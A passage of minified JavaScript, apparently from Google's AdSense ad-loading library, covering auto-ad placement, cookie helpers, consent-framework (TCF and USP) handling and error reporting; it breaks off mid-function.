R={},Ei=(R.google_ad_channel=!0,R.google_ad_client=!0,R.google_ad_host=!0,R.google_ad_host_channel=!0,R.google_adtest=!0,R.google_tag_for_child_directed_treatment=!0,R.google_tag_for_under_age_of_consent=!0,R.google_tag_partner=!0,R.google_restrict_data_processing=!0,R.google_page_url=!0,R.google_debug_params=!0,R.google_adbreak_test=!0,R.google_ad_frequency_hint=!0,R.google_admob_interstitial_slot=!0,R.google_admob_rewarded_slot=!0,R.google_max_ad_content_rating=!0,R.google_traffic_source=!0, R),Fi=RegExp("(^| )adsbygoogle($| )");function Gi(a,b){for(var c=0;c<b.length;c++){var d=b[c],e=zc(d.Rb);a[e]=d.value}};function Hi(a,b,c,d){this.l=a;this.i=b;this.j=c;this.h=d}function Ii(a,b){var c=[];try{c=b.querySelectorAll(a.l)}catch(g){}if(!c.length)return[];b=Ya(c);b=Ji(a,b);"number"===typeof a.i&&(c=a.i,0>c&&(c+=b.length),b=0<=c&&c<b.length?[b[c]]:[]);if("number"===typeof a.j){c=[];for(var d=0;d<b.length;d++){var e=Ki(b[d]),f=a.j;0>f&&(f+=e.length);0<=f&&f<e.length&&c.push(e[f])}b=c}return b} Hi.prototype.toString=function(){return JSON.stringify({nativeQuery:this.l,occurrenceIndex:this.i,paragraphIndex:this.j,ignoreMode:this.h})};function Ji(a,b){if(null==a.h)return b;switch(a.h){case 1:return b.slice(1);case 2:return b.slice(0,b.length-1);case 3:return b.slice(1,b.length-1);case 0:return b;default:throw Error("Unknown ignore mode: "+a.h);}}function Ki(a){var b=[];xd(a.getElementsByTagName("p"),function(c){100<=Li(c)&&b.push(c)});return b} function Li(a){if(3==a.nodeType)return a.length;if(1!=a.nodeType||"SCRIPT"==a.tagName)return 0;var b=0;xd(a.childNodes,function(c){b+=Li(c)});return b}function Mi(a){return 0==a.length||isNaN(a[0])?a:"\\"+(30+parseInt(a[0],10))+" "+a.substring(1)};function Ni(a){if(!a)return null;var b=A(a,7);if(A(a,1)||a.getId()||0<wb(a,4).length){var c=a.getId();b=wb(a,4);var d=A(a,1),e="";d&&(e+=d);c&&(e+="#"+Mi(c));if(b)for(c=0;c<b.length;c++)e+="."+Mi(b[c]);a=(b=e)?new Hi(b,A(a,2),A(a,5),Oi(A(a,6))):null}else a=b?new Hi(b,A(a,2),A(a,5),Oi(A(a,6))):null;return a}var Pi={1:1,2:2,3:3,0:0};function Oi(a){return null==a?a:Pi[a]}var Qi={1:0,2:1,3:2,4:3};function Ri(a){return a.google_ama_state=a.google_ama_state||{}} function Si(a){a=Ri(a);return a.optimization=a.optimization||{}};function Ti(a){switch(A(a,8)){case 1:case 2:if(null==a)var b=null;else b=G(a,Jd,1),null==b?b=null:(a=A(a,2),b=null==a?null:new Ld({Ga:[b],Ra:a}));return null!=b?Dd(b):Fd(Error("Missing dimension when creating placement id"));case 3:return Fd(Error("Missing dimension when creating placement id"));default:return Fd(Error("Invalid type: "+A(a,8)))}};function T(a){a=void 0===a?"":a;var b=Error.call(this);this.message=b.message;"stack"in b&&(this.stack=b.stack);this.name="TagError";this.message=a?"adsbygoogle.push() error: "+a:"";Error.captureStackTrace?Error.captureStackTrace(this,T):this.stack=Error().stack||""}v(T,Error);var Pf,Ui,fi=new ci;function Vi(a){null!=a&&(w.google_measure_js_timing=a);w.google_measure_js_timing||(a=fi,a.h=!1,a.i!=a.j.google_js_reporting_queue&&(bi()&&Ra(a.i,di),a.i.length=0))}(function(a){Pf=a||new Nf;"number"!==typeof w.google_srt&&(w.google_srt=Math.random());Of();Ui=new ei;Ui.Va(!0);"complete"==w.document.readyState?Vi():fi.h&&xc(w,"load",function(){Vi()})})();function Wi(a,b,c){return Ui.oa(a,b,c)}function Xi(a,b){return Ui.Oa(a,b)} function Yi(a,b,c){var d=O(Oh).h();!b.eid&&d.length&&(b.eid=d.toString());Qf(Pf,a,b,!0,c)}function Zi(a,b){Ui.Pa(a,b)}function $i(a,b,c,d){var e;Rh(b)?e=b.msg||gi(b.error):e=gi(b);return 0==e.indexOf("TagError")?(c=b instanceof Qh?b.error:b,c.pbr||(c.pbr=!0,Ui.I(a,b,.1,d,"puberror")),!1):Ui.I(a,b,c,d)};function aj(a){a=void 0===a?window:a;a=a.googletag;return(null==a?0:a.apiReady)?a:void 0};function bj(a){var b=aj(a);return b?Sa(Ta(b.pubads().getSlots(),function(c){return a.document.getElementById(c.getSlotElementId())}),function(c){return null!=c}):null}function cj(a,b){return Ya(a.document.querySelectorAll(b))}function dj(a){var b=[];a=u(a);for(var c=a.next();!c.done;c=a.next()){c=c.value;for(var d=!0,e=0;e<b.length;e++){var f=b[e];if(f.contains(c)){d=!1;break}if(c.contains(f)){d=!1;b[e]=c;break}}d&&b.push(c)}return b};function ej(a,b){function c(){d.push({anchor:e.anchor,position:e.position});return e.anchor==b.anchor&&e.position==b.position}for(var d=[],e=a;e;){switch(e.position){case 1:if(c())return d;e.position=2;case 2:if(c())return d;if(e.anchor.firstChild){e={anchor:e.anchor.firstChild,position:1};continue}else e.position=3;case 3:if(c())return d;e.position=4;case 4:if(c())return d}for(;e&&!e.anchor.nextSibling&&e.anchor.parentNode!=e.anchor.ownerDocument.body;){e={anchor:e.anchor.parentNode,position:3}; if(c())return d;e.position=4;if(c())return d}e&&e.anchor.nextSibling?e={anchor:e.anchor.nextSibling,position:1}:e=null}return d};function fj(a,b){this.i=a;this.h=b} function gj(a,b){var c=new Id,d=new Hd;b.forEach(function(e){if(Ib(e,Yd,1,ae)){e=Ib(e,Yd,1,ae);if(G(e,Wd,1)&&G(G(e,Wd,1),Jd,1)&&G(e,Wd,2)&&G(G(e,Wd,2),Jd,1)){var f=hj(a,G(G(e,Wd,1),Jd,1)),g=hj(a,G(G(e,Wd,2),Jd,1));if(f&&g)for(f=u(ej({anchor:f,position:A(G(e,Wd,1),2)},{anchor:g,position:A(G(e,Wd,2),2)})),g=f.next();!g.done;g=f.next())g=g.value,c.set(za(g.anchor),g.position)}G(e,Wd,3)&&G(G(e,Wd,3),Jd,1)&&(f=hj(a,G(G(e,Wd,3),Jd,1)))&&c.set(za(f),A(G(e,Wd,3),2))}else Ib(e,Zd,2,ae)?ij(a,Ib(e,Zd,2,ae), c):Ib(e,$d,3,ae)&&jj(a,Ib(e,$d,3,ae),d)});return new fj(c,d)}function ij(a,b,c){G(b,Jd,1)&&(a=kj(a,G(b,Jd,1)))&&a.forEach(function(d){d=za(d);c.set(d,1);c.set(d,4);c.set(d,2);c.set(d,3)})}function jj(a,b,c){G(b,Jd,1)&&(a=kj(a,G(b,Jd,1)))&&a.forEach(function(d){c.add(za(d))})}function hj(a,b){return(a=kj(a,b))&&0<a.length?a[0]:null}function kj(a,b){return(b=Ni(b))?Ii(b,a):null};function lj(){this.h=new p.Set}function mj(a){a=nj(a);return a.has("all")||a.has("after")}function oj(a){a=nj(a);return a.has("all")||a.has("before")}function pj(a,b,c){switch(c){case 2:case 3:break;case 1:case 4:b=b.parentElement;break;default:throw Error("Unknown RelativePosition: "+c);}for(c=[];b;){if(qj(b))return!0;if(a.h.has(b))break;c.push(b);b=b.parentElement}c.forEach(function(d){return a.h.add(d)});return!1} function qj(a){var b=nj(a);return a&&("AUTO-ADS-EXCLUSION-AREA"===a.tagName||b.has("inside")||b.has("all"))}function nj(a){return(a=a&&a.getAttribute("data-no-auto-ads"))?new p.Set(a.split("|")):new p.Set};function rj(a,b){if(!a)return!1;a=Nc(a,b);if(!a)return!1;a=a.cssFloat||a.styleFloat;return"left"==a||"right"==a}function sj(a){for(a=a.previousSibling;a&&1!=a.nodeType;)a=a.previousSibling;return a?a:null}function tj(a){return!!a.nextSibling||!!a.parentNode&&tj(a.parentNode)};function uj(a){var b={};a&&wb(a,6).forEach(function(c){b[c]=!0});return b}function vj(a,b,c,d,e){this.h=a;this.H=b;this.j=c;this.m=e||null;this.A=(this.C=d)?gj(a.document,H(d,Xd,5)):gj(a.document,[]);this.G=new lj;this.i=0;this.l=!1} function wj(a,b){if(a.l)return!0;a.l=!0;var c=H(a.j,ce,1);a.i=0;var d=uj(a.C);var e=a.h;try{var f=e.localStorage.getItem("google_ama_settings");var g=f?Nb(se,f):null}catch(S){g=null}var h=null!==g&&D(g,2,!1);g=Ri(e);h&&(g.eatf=!0,kd(7,[!0,0,!1]));var k=P(Ve)||P(Ue);f=P(Ue);if(k){b:{var l={fb:!1},m=cj(e,".google-auto-placed"),q=cj(e,'ins.adsbygoogle[data-anchor-shown="true"]'),t=cj(e,"ins.adsbygoogle[data-ad-format=autorelaxed]");var y=(bj(e)||cj(e,"div[id^=div-gpt-ad]")).concat(cj(e,"iframe[id^=google_ads_iframe]")); var F=cj(e,"div.trc_related_container,div.OUTBRAIN,div[id^=rcjsload],div[id^=ligatusframe],div[id^=crt-],iframe[id^=cto_iframe],div[id^=yandex_], div[id^=Ya_sync],iframe[src*=adnxs],div.advertisement--appnexus,div[id^=apn-ad],div[id^=amzn-native-ad],iframe[src*=amazon-adsystem],iframe[id^=ox_],iframe[src*=openx],img[src*=openx],div[class*=adtech],div[id^=adtech],iframe[src*=adtech],div[data-content-ad-placement=true],div.wpcnt div[id^=atatags-]"),z=cj(e,"ins.adsbygoogle-ablated-ad-slot"),E=cj(e,"div.googlepublisherpluginad"); k=[].concat(cj(e,"iframe[id^=aswift_],iframe[id^=google_ads_frame]"),cj(e,"ins.adsbygoogle"));h=[];l=u([[l.Mb,m],[l.fb,q],[l.Pb,t],[l.Nb,y],[l.Qb,F],[l.Lb,z],[l.Ob,E]]);for(m=l.next();!m.done;m=l.next())q=u(m.value),m=q.next().value,q=q.next().value,!1===m?h=h.concat(q):k=k.concat(q);k=dj(k);l=dj(h);h=k.slice(0);k=u(l);for(l=k.next();!l.done;l=k.next())for(l=l.value,m=0;m<h.length;m++)(l.contains(h[m])||h[m].contains(l))&&h.splice(m,1);e=Vf(e).clientHeight;for(k=0;k<h.length;k++)if(l=h[k].getBoundingClientRect(), !(0===l.height&&!f||l.top>e)){e=!0;break b}e=!1}g=e?g.eatfAbg=!0:!1}else g=h;if(g)return!0;g=new Hd([2]);for(e=0;e<c.length;e++){f=a;k=c[e];h=e;l=b;if(!G(k,Pd,4)||!g.contains(A(G(k,Pd,4),1))||1!==A(k,8)||k&&null!=A(k,4)&&d[A(G(k,Pd,4),2)])f=null;else{f.i++;if(k=xj(f,k,l,d))l=Ri(f.h),l.numAutoAdsPlaced||(l.numAutoAdsPlaced=0),null==l.placed&&(l.placed=[]),l.numAutoAdsPlaced++,l.placed.push({index:h,element:k.ha}),kd(7,[!1,f.i,!0]);f=k}if(f)return!0}kd(7,[!1,a.i,!1]);return!1} function xj(a,b,c,d){if(b&&null!=A(b,4)&&d[A(G(b,Pd,4),2)]||1!=A(b,8))return null;d=G(b,Jd,1);if(!d)return null;d=Ni(d);if(!d)return null;d=Ii(d,a.h.document);if(0==d.length)return null;d=d[0];var e=Qi[A(b,2)];e=void 0===e?null:e;var f;if(!(f=null==e)){a:{f=a.h;switch(e){case 0:f=rj(sj(d),f);break a;case 3:f=rj(d,f);break a;case 2:var g=d.lastChild;f=rj(g?1==g.nodeType?g:sj(g):null,f);break a}f=!1}if(c=!f&&!(!c&&2==e&&!tj(d)))c=1==e||2==e?d:d.parentNode,c=!(c&&!te(c)&&0>=c.offsetWidth);f=!c}if(!(c= f)){c=a.A;f=A(b,2);g=za(d);g=c.i.h.get(g);if(!(g=g?g.contains(f):!1))a:{if(c.h.contains(za(d)))switch(f){case 2:case 3:g=!0;break a;default:g=!1;break a}for(f=d.parentElement;f;){if(c.h.contains(za(f))){g=!0;break a}f=f.parentElement}g=!1}c=g}if(!c){c=a.G;f=A(b,2);a:switch(f){case 1:g=mj(d.previousElementSibling)||oj(d);break a;case 4:g=mj(d)||oj(d.nextElementSibling);break a;case 2:g=oj(d.firstElementChild);break a;case 3:g=mj(d.lastElementChild);break a;default:throw Error("Unknown RelativePosition: "+ f);}c=g||pj(c,d,f)}if(c)return null;c=G(b,be,3);f={};c&&(f.Wa=A(c,1),f.Ha=A(c,2),f.cb=!!xb(c,3));c=G(b,Pd,4)&&A(G(b,Pd,4),2)?A(G(b,Pd,4),2):null;c=Sd(c);g=null!=A(b,12)?A(b,12):null;g=null==g?null:new Qd(null,{google_ml_rank:g});b=yj(a,b);b=Rd(a.m,c,g,b);c=a.h;a=a.H;var h=c.document,k=f.cb||!1;g=(new Bc(h)).createElement("DIV");var l=g.style;l.width="100%";l.height="auto";l.clear=k?"both":"none";k=g.style;k.textAlign="center";f.lb&&Gi(k,f.lb);h=(new Bc(h)).createElement("INS");k=h.style;k.display= "block";k.margin="auto";k.backgroundColor="transparent";f.Wa&&(k.marginTop=f.Wa);f.Ha&&(k.marginBottom=f.Ha);f.ab&&Gi(k,f.ab);g.appendChild(h);f={ra:g,ha:h};f.ha.setAttribute("data-ad-format","auto");g=[];if(h=b&&b.Ja)f.ra.className=h.join(" ");h=f.ha;h.className="adsbygoogle";h.setAttribute("data-ad-client",a);g.length&&h.setAttribute("data-ad-channel",g.join("+"));a:{try{var m=f.ra;var q=void 0===q?0:q;if(P(Qe)){q=void 0===q?0:q;var t=Af(d,e,q);if(t.init){var y=t.init;for(d=y;d=t.ja(d);)y=d;var F= {anchor:y,position:t.na}}else F={anchor:d,position:e};m["google-ama-order-assurance"]=q;ue(m,F.anchor,F.position)}else ue(m,d,e);b:{var z=f.ha;z.dataset.adsbygoogleStatus="reserved";z.className+=" adsbygoogle-noablate";m={element:z};var E=b&&b.Qa;if(z.hasAttribute("data-pub-vars")){try{E=JSON.parse(z.getAttribute("data-pub-vars"))}catch(S){break b}z.removeAttribute("data-pub-vars")}E&&(m.params=E);(c.adsbygoogle=c.adsbygoogle||[]).push(m)}}catch(S){(z=f.ra)&&z.parentNode&&(E=z.parentNode,E.removeChild(z), te(E)&&(E.style.display=E.getAttribute("data-init-display")||"none"));z=!1;break a}z=!0}return z?f:null}function yj(a,b){return Bd(Ed(Ti(b).map(Td),function(c){Ri(a.h).exception=c}))};function zj(a){if(P(Pe))var b=null;else try{b=a.getItem("google_ama_config")}catch(d){b=null}try{var c=b?Nb(je,b):null}catch(d){c=null}return c};function Aj(a){J.call(this,a)}v(Aj,J);function Bj(a){try{var b=a.localStorage.getItem("google_auto_fc_cmp_setting")||null}catch(d){b=null}var c=b;return c?Gd(function(){return Nb(Aj,c)}):Dd(null)};function Cj(){this.S={}}function Dj(){if(Ej)return Ej;var a=md()||window,b=a.google_persistent_state_async;return null!=b&&"object"==typeof b&&null!=b.S&&"object"==typeof b.S?Ej=b:a.google_persistent_state_async=Ej=new Cj}function Fj(a){return Gj[a]||"google_ps_"+a}function Hj(a,b,c){b=Fj(b);a=a.S;var d=a[b];return void 0===d?a[b]=c:d}var Ej=null,Ij={},Gj=(Ij[8]="google_prev_ad_formats_by_region",Ij[9]="google_prev_ad_slotnames_by_region",Ij);function Jj(a){this.h=a||{cookie:""}} Jj.prototype.set=function(a,b,c){var d=!1;if("object"===typeof c){var e=c.Sb;d=c.Tb||!1;var f=c.domain||void 0;var g=c.path||void 0;var h=c.jb}if(/[;=\s]/.test(a))throw Error('Invalid cookie name "'+a+'"');if(/[;\r\n]/.test(b))throw Error('Invalid cookie value "'+b+'"');void 0===h&&(h=-1);this.h.cookie=a+"="+b+(f?";domain="+f:"")+(g?";path="+g:"")+(0>h?"":0==h?";expires="+(new Date(1970,1,1)).toUTCString():";expires="+(new Date(Date.now()+1E3*h)).toUTCString())+(d?";secure":"")+(null!=e?";samesite="+ e:"")};Jj.prototype.get=function(a,b){for(var c=a+"=",d=(this.h.cookie||"").split(";"),e=0,f;e<d.length;e++){f=Ja(d[e]);if(0==f.lastIndexOf(c,0))return f.substr(c.length);if(f==a)return""}return b};Jj.prototype.isEmpty=function(){return!this.h.cookie}; Jj.prototype.clear=function(){for(var a=(this.h.cookie||"").split(";"),b=[],c=[],d,e,f=0;f<a.length;f++)e=Ja(a[f]),d=e.indexOf("="),-1==d?(b.push(""),c.push(e)):(b.push(e.substring(0,d)),c.push(e.substring(d+1)));for(a=b.length-1;0<=a;a--)c=b[a],this.get(c),this.set(c,"",{jb:0,path:void 0,domain:void 0})};function Kj(a){J.call(this,a)}v(Kj,J);function Lj(a){var b=new Kj;return B(b,5,a)};function Mj(){this.A=this.A;this.G=this.G}Mj.prototype.A=!1;Mj.prototype.j=function(){if(this.G)for(;this.G.length;)this.G.shift()()};function Nj(a){void 0!==a.addtlConsent&&"string"!==typeof a.addtlConsent&&(a.addtlConsent=void 0);void 0!==a.gdprApplies&&"boolean"!==typeof a.gdprApplies&&(a.gdprApplies=void 0);return void 0!==a.tcString&&"string"!==typeof a.tcString||void 0!==a.listenerId&&"number"!==typeof a.listenerId?2:a.cmpStatus&&"error"!==a.cmpStatus?0:3}function Oj(a,b){b=void 0===b?500:b;Mj.call(this);this.h=a;this.i=null;this.m={};this.H=0;this.C=b;this.l=null}v(Oj,Mj); Oj.prototype.j=function(){this.m={};this.l&&(yc(this.h,this.l),delete this.l);delete this.m;delete this.h;delete this.i;Mj.prototype.j.call(this)};function Pj(a){return"function"===typeof a.h.__tcfapi||null!=Qj(a)} Oj.prototype.addEventListener=function(a){function b(f,g){clearTimeout(e);f?(c=f,c.internalErrorState=Nj(c),g&&0===c.internalErrorState||(c.tcString="tcunavailable",g||(c.internalErrorState=3))):(c.tcString="tcunavailable",c.internalErrorState=3);a(c)}var c={},d=wc(function(){return a(c)}),e=0;-1!==this.C&&(e=setTimeout(function(){c.tcString="tcunavailable";c.internalErrorState=1;d()},this.C));try{Rj(this,"addEventListener",b)}catch(f){c.tcString="tcunavailable",c.internalErrorState=3,e&&(clearTimeout(e), e=0),d()}};Oj.prototype.removeEventListener=function(a){a&&a.listenerId&&Rj(this,"removeEventListener",null,a.listenerId)};function Rj(a,b,c,d){c||(c=function(){});if("function"===typeof a.h.__tcfapi)a=a.h.__tcfapi,a(b,2,c,d);else if(Qj(a)){Sj(a);var e=++a.H;a.m[e]=c;a.i&&(c={},a.i.postMessage((c.__tcfapiCall={command:b,version:2,callId:e,parameter:d},c),"*"))}else c({},!1)}function Qj(a){if(a.i)return a.i;a.i=$c(a.h,"__tcfapiLocator");return a.i} function Sj(a){a.l||(a.l=function(b){try{var c=("string"===typeof b.data?JSON.parse(b.data):b.data).__tcfapiReturn;a.m[c.callId](c.returnValue,c.success)}catch(d){}},xc(a.h,"message",a.l))};function Tj(a){var b=a.u,c=a.ta,d=a.Ia;a=Uj({u:b,Z:a.Z,ka:void 0===a.ka?!1:a.ka,la:void 0===a.la?!1:a.la});null!=a.h||"tcunav"!=a.i.message?d(a):Vj(b,c).then(function(e){return e.map(Wj)}).then(function(e){return e.map(function(f){return Xj(b,f)})}).then(d)} function Uj(a){var b=a.u,c=a.Z,d=void 0===a.ka?!1:a.ka;if(!(a=!(void 0===a.la?0:a.la)&&Pj(new Oj(b)))){if(d=!d){if(c){c=Bj(b);if(null==c.h)Ui.I(806,c.i,void 0,void 0),c=!1;else if((c=c.h.value)&&null!=A(c,1))b:switch(c=A(c,1),c){case 1:c=!0;break b;default:throw Error("Unhandled AutoGdprFeatureStatus: "+c);}else c=!1;c=!c}d=c}a=d}if(!a)return Xj(b,Lj(!0));c=Dj();return(c=Hj(c,24))?Xj(b,Wj(c)):Fd(Error("tcunav"))}function Vj(a,b){return p.Promise.race([Yj(),Zj(a,b)])} function Yj(){return(new p.Promise(function(a){var b=Dj();a={resolve:a};var c=Hj(b,25,[]);c.push(a);b.S[Fj(25)]=c})).then(ak)}function Zj(a,b){return new p.Promise(function(c){a.setTimeout(c,b,Fd(Error("tcto")))})}function ak(a){return a?Dd(a):Fd(Error("tcnull"))} function Wj(a){var b=void 0===b?!1:b;if(!1===a.gdprApplies)var c=!0;else void 0===a.internalErrorState&&(a.internalErrorState=Nj(a)),c="error"===a.cmpStatus||0!==a.internalErrorState||"loaded"===a.cmpStatus&&("tcloaded"===a.eventStatus||"useractioncomplete"===a.eventStatus)?!0:!1;if(c)if(!1===a.gdprApplies||"tcunavailable"===a.tcString||void 0===a.gdprApplies&&!b||"string"!==typeof a.tcString||!a.tcString.length)a=!0;else{var d=void 0===d?"755":d;b:{if(a.publisher&&a.publisher.restrictions&&(b=a.publisher.restrictions["1"], void 0!==b)){b=b[void 0===d?"755":d];break b}b=void 0}0===b?a=!1:a.purpose&&a.vendor?(b=a.vendor.consents,(d=!(!b||!b[void 0===d?"755":d]))&&a.purposeOneTreatment&&"CH"===a.publisherCC?a=!0:(d&&(a=a.purpose.consents,d=!(!a||!a["1"])),a=d)):a=!0}else a=!1;return Lj(a)}function Xj(a,b){a:{a=void 0===a?window:a;if(xb(b,5))try{var c=a.localStorage;break a}catch(d){}c=null}return(b=c)?Dd(b):Fd(Error("unav"))};function bk(a){J.call(this,a)}v(bk,J);function ck(a){J.call(this,a,-1,dk)}v(ck,J);var dk=[1,2];function ek(a){this.exception=a}function fk(a,b,c){this.j=a;this.h=b;this.i=c}fk.prototype.start=function(){this.l()};fk.prototype.l=function(){try{switch(this.j.document.readyState){case "complete":case "interactive":wj(this.h,!0);gk(this);break;default:wj(this.h,!1)?gk(this):this.j.setTimeout(Ea(this.l,this),100)}}catch(a){gk(this,a)}};function gk(a,b){try{var c=a.i,d=c.resolve,e=a.h;Ri(e.h);H(e.j,ce,1);d.call(c,new ek(b))}catch(f){a.i.reject(f)}};function hk(a){J.call(this,a,-1,ik)}v(hk,J);function jk(a){J.call(this,a)}v(jk,J);function kk(a){J.call(this,a)}v(kk,J);var ik=[7];function lk(a){a=(a=(new Jj(a)).get("FCCDCF",""))?a:null;try{return a?Nb(hk,a):null}catch(b){return null}};Zb({Gb:0,Fb:1,Cb:2,xb:3,Db:4,yb:5,Eb:6,Ab:7,Bb:8,wb:9,zb:10}).map(function(a){return Number(a)});Zb({Ib:0,Jb:1,Hb:2}).map(function(a){return Number(a)});function mk(a){function b(){if(!a.frames.__uspapiLocator)if(c.body){var d=Mc("IFRAME",c);d.style.display="none";d.style.width="0px";d.style.height="0px";d.style.border="none";d.style.zIndex="-1000";d.style.left="-1000px";d.style.top="-1000px";d.name="__uspapiLocator";c.body.appendChild(d)}else a.setTimeout(b,5)}var c=a.document;b()};function nk(a){this.h=a;this.i=a.document;this.j=(a=(a=lk(this.i))?G(a,kk,5)||null:null)?A(a,2):null;(a=lk(this.i))&&G(a,jk,4);(a=lk(this.i))&&G(a,jk,4)}function ok(){var a=window;a.__uspapi||a.frames.__uspapiLocator||(a=new nk(a),pk(a))}function pk(a){!a.j||a.h.__uspapi||a.h.frames.__uspapiLocator||(a.h.__uspapiManager="fc",mk(a.h),Ga(function(){return a.l.apply(a,ka(ta.apply(0,arguments)))}))} nk.prototype.l=function(a,b,c){"function"===typeof c&&"getUSPData"===a&&c({version:1,uspString:this.j},!0)};function qk(a){J.call(this,a)}v(qk,J);qk.prototype.getWidth=function(){return C(this,1,0)};qk.prototype.getHeight=function(){return C(this,2,0)};function rk(a){J.call(this,a)}v(rk,J);function sk(a){J.call(this,a)}v(sk,J);var tk=[4,5];function uk(a){var b=/[a-zA-Z0-9._~-]/,c=/%[89a-zA-Z]./;return a.replace(/(%[a-zA-Z0-9]{2})/g,function(d){if(!d.match(c)){var e=decodeURIComponent(d);if(e.match(b))return e}return d.toUpperCase()})}function vk(a){for(var b="",c=/[/%?&=]/,d=0;d<a.length;++d){var e=a[d];b=e.match(c)?b+e:b+encodeURIComponent(e)}return b};function wk(a,b){a=vk(uk(a.location.pathname)).replace(/(^\/)|(\/$)/g,"");var c=Tc(a),d=xk(a);return r(b,"find").call(b,function(e){var f=null!=A(e,7)?A(G(e,oe,7),1):A(e,1);e=null!=A(e,7)?A(G(e,oe,7),2):2;if("number"!==typeof f)return!1;switch(e){case 1:return f==c;case 2:return d[f]||!1}return!1})||null}function xk(a){for(var b={};;){b[Tc(a)]=!0;if(!a)return b;a=a.substring(0,a.lastIndexOf("/"))}};var yk={},zk=(yk.google_ad_channel=!0,yk.google_ad_host=!0,yk);function Ak(a,b){a.location.href&&a.location.href.substring&&(b.url=a.location.href.substring(0,200));Yi("ama",b,.01)}function Bk(a){var b={};Sc(zk,function(c,d){d in a&&(b[d]=a[d])});return b};function Ck(a){a=G(a,le,3);return!a||A(a,1)<=Date.now()?!1:!0}function Dk(a){return(a=zj(a))?Ck(a)?a:null:null}function Ek(a,b){try{b.removeItem("google_ama_config")}catch(c){Ak(a,{lserr:1})}};function Fk(a){J.call(this,a)}v(Fk,J);function Gk(a){J.call(this,a,-1,Hk)}v(Gk,J);var Hk=[1];function Ik(a){J.call(this,a,-1,Jk)}v(Ik,J);Ik.prototype.getId=function(){return C(this,1,0)};Ik.prototype.V=function(){return C(this,7,0)};var Jk=[2];function Kk(a){J.call(this,a,-1,Lk)}v(Kk,J);Kk.prototype.V=function(){return C(this,5,0)};var Lk=[2];function Mk(a){J.call(this,a,-1,Nk)}v(Mk,J);function Ok(a){J.call(this,a,-1,Pk)}v(Ok,J);Ok.prototype.V=function(){return C(this,1,0)};function Qk(a){J.call(this,a)}v(Qk,J);var Nk=[1,4,2,3],Pk=[2];function Rk(a){J.call(this,a,-1,Sk)}v(Rk,J);function Tk(a){return Ib(a,Gk,14,Uk)}var Sk=[19],Uk=[13,14];var Vk=void 0;function Wk(){Yf(Vk,Xf);return Vk}function Xk(a){Yf(Vk,$f);Vk=a};function Yk(a,b,c,d){c=void 0===c?"":c;return 1===b&&Zk(c,void 0===d?null:d)?!0:$k(a,c,function(e){return Ua(H(e,Tb,2),function(f){return A(f,1)===b})})}function Zk(a,b){return b?13===Cb(b,Uk)?D(Ib(b,Fk,13,Uk),1):14===Cb(b,Uk)&&""!==a&&1===wb(Tk(b),1).length&&wb(Tk(b),1)[0]===a?D(G(Tk(b),Fk,2),1):!1:!1}function al(a,b){b=C(b,18,0);-1!==b&&(a.tmod=b)}function bl(a){var b=void 0===b?"":b;var c=Ic(L)||L;return cl(c,a)?!0:$k(L,b,function(d){return Ua(wb(d,3),function(e){return e===a})})} function dl(a){return $k(w,void 0===a?"":a,function(){return!0})}function cl(a,b){a=(a=(a=a.location&&a.location.hash)&&a.match(/forced_clientside_labs=([\d,]+)/))&&a[1];return!!a&&Xa(a.split(","),b.toString())}function $k(a,b,c){a=Ic(a)||a;var d=el(a);b&&(b=rd(String(b)));return Yb(d,function(e,f){return Object.prototype.hasOwnProperty.call(d,f)&&(!b||b===f)&&c(e)})}function el(a){a=fl(a);var b={};Sc(a,function(c,d){try{var e=new Rb(c);b[d]=e}catch(f){}});return b} function fl(a){return P(xe)?(a=Uj({u:a,Z:Wk()}),null!=a.h?(gl("ok"),a=hl(a.h.value)):(gl(a.i.message),a={}),a):hl(a.localStorage)}function hl(a){try{var b=a.getItem("google_adsense_settings");if(!b)return{};var c=JSON.parse(b);return c!==Object(c)?{}:Xb(c,function(d,e){return Object.prototype.hasOwnProperty.call(c,e)&&"string"===typeof e&&Array.isArray(d)})}catch(d){return{}}}function gl(a){P(we)&&Yi("abg_adsensesettings_lserr",{s:a,g:P(xe),c:Wk(),r:.01},.01)};function il(a,b,c,d){jl(new kl(a,b,c,d))}function kl(a,b,c,d){this.u=a;this.i=b;this.j=c;this.h=d}function jl(a){Ed(Cd(Uj({u:a.u,Z:D(a.i,6)}),function(b){ll(a,b,!0)}),function(){ml(a)})}function ll(a,b,c){Ed(Cd(nl(b),function(d){ol("ok");a.h(d)}),function(){Ek(a.u,b);c?ml(a):a.h(null)})}function ml(a){Ed(Cd(pl(a),a.h),function(){ql(a)})}function ql(a){Tj({u:a.u,Z:D(a.i,6),ta:50,Ia:function(b){rl(a,b)}})}function nl(a){return(a=Dk(a))?Dd(a):Fd(Error("invlocst"))} function pl(a){a:{var b=a.u;var c=a.j;a=a.i;if(13===Cb(a,Uk))b=(b=G(G(Ib(a,Fk,13,Uk),bk,2),ck,2))&&0<H(b,ce,1).length?b:null;else{if(14===Cb(a,Uk)){var d=wb(Tk(a),1),e=G(G(G(Tk(a),Fk,2),bk,2),ck,2);if(1===d.length&&d[0]===c&&e&&0<H(e,ce,1).length&&I(a,17)===b.location.host){b=e;break a}}b=null}}b?(c=new je,a=H(b,ce,1),c=Gb(c,1,a),b=H(b,me,2),b=Gb(c,7,b),b=Dd(b)):b=Fd(Error("invtag"));return b}function rl(a,b){Ed(Cd(b,function(c){ll(a,c,!1)}),function(c){ol(c.message);a.h(null)})} function ol(a){Yi("abg::amalserr",{status:a,guarding:"true",timeout:50,rate:.01},.01)};function sl(a){Ak(a,{atf:1})}function tl(a,b){(a.google_ama_state=a.google_ama_state||{}).exception=b;Ak(a,{atf:0})};function U(a){a.google_ad_modifications||(a.google_ad_modifications={});return a.google_ad_modifications}function ul(a){a=U(a);var b=a.space_collapsing||"none";return a.remove_ads_by_default?{Fa:!0,tb:b,qa:a.ablation_viewport_offset}:null}function vl(a,b){a=U(a);a.had_ads_ablation=!0;a.remove_ads_by_default=!0;a.space_collapsing="slot";a.ablation_viewport_offset=b}function wl(a){U(L).allow_second_reactive_tag=a} function xl(){var a=U(window);a.afg_slotcar_vars||(a.afg_slotcar_vars={});return a.afg_slotcar_vars};function yl(a,b){if(!a)return!1;a=a.hash;if(!a||!a.indexOf)return!1;if(-1!=a.indexOf(b))return!0;b=zl(b);return"go"!=b&&-1!=a.indexOf(b)?!0:!1}function zl(a){var b="";Sc(a.split("_"),function(c){b+=c.substr(0,2)});return b};$a||!x("Safari")||Oa();function Al(){var a=this;this.promise=new p.Promise(function(b,c){a.resolve=b;a.reject=c})};function Bl(){var a=new Al;return{promise:a.promise,resolve:a.resolve}};function Cl(a){a=void 0===a?function(){}:a;w.google_llp||(w.google_llp={});var b=w.google_llp,c=b[7];if(c)return 